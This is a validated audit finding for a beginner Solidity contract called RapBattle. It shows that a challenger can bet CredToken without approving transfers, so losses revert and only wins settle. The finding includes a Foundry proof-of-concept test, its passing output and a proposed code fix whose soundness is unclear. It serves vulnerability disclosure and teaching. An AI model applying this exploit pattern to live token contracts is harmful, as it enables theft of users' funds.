Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Only challenger can win the battle and earn CredToken because he is not approving rapBattle to transfer his CredToken

Summary

  • We are not taking approval of tokens from challenger to transfer his CreadToken to rapBattle and NFT to rapBattle which will give a challenger winning edge over defender and he can win without any approval of tokens.

  • when, challenger calls goOnStageOrBattle then he is not approving rapBattle to transfer his credToken which will revert when ramdom favours defender and challenger will not loose anything as he has not approved rapBattle to transfer his CredToken. On the other hand, if ramdom favours challenger then he will win and get defender's CredToken.

Vulnerability Details

  • Defender can not be able to win a single battle. because, challenger is not approving rapBattle to transfer credToken which will give a challenger winning edge over defender.

  • if ramdom favours challenger then he will win and get defender's CredToken

  • but if ramdom favours defender then goOnStageOrBattle will revert and challenger will not loose anything as he has not approved rapBattle to transfer his CredToken

  • So, only challenger can win the battle.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
@> credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

POC

  • Paste this test in OneShotTest.t.sol.

// test that a challenger can win without any approval of tokens
function testGoOnStageOrBattleIfChallengerNotApprovingTokens() public twoSkilledRappers {
uint256 userBalanceBefore = cred.balanceOf(user);
uint256 challengerBalanceBefore = cred.balanceOf(challenger);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
// Here, challenger is not approving rapBattle to transfer his NFT and CredToken to rapBattle
// which will give a challenger winning edge over user
// if ramdom favours challenger then he will win and get user's CredToken
// else goOnStageOrBattle will revert and challenger will not loose anything
// as he has not approved rapBattle to transfer his CredToken
vm.startPrank(challenger);
// oneShot.approve(address(rapBattle), 1);
// cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
console.log("user.balance: ", cred.balanceOf(user));
console.log("challenger.balance: ", cred.balanceOf(challenger));
assertEq(cred.balanceOf(user), userBalanceBefore - 3);
assertEq(cred.balanceOf(challenger), challengerBalanceBefore + 3);
}
  • Run this command to test the vulnerability.

forge test --mt testGoOnStageOrBattleIfChallengerNotApprovingTokens -vvvv
  • In the output, you will see that the test case is passing.

No files changed, compilation skipped
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testGoOnStageOrBattleIfChallengerNotApprovingTokens() (gas: 600311)
Logs:
user.balance: 1
challenger.balance: 7
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.53ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  • This vulnerability allows a challenger to win without any approval of tokens.

  • This will give a challenger winning edge over user.

  • Only challenger can win and get user's CredToken.

Tools Used

  • Manual Review

Recommendations

  • update RapBattle.sol to fix this issue.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
+ credToken.transferFrom(msg.sender, address(this), _credBet);
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
+ credToken.transfer(msg.sender, totalPrize);
- credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
+ if (random > defenderRapperSkill) oneShotNft.transferFrom(address(this), msg.sender, _tokenId);
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.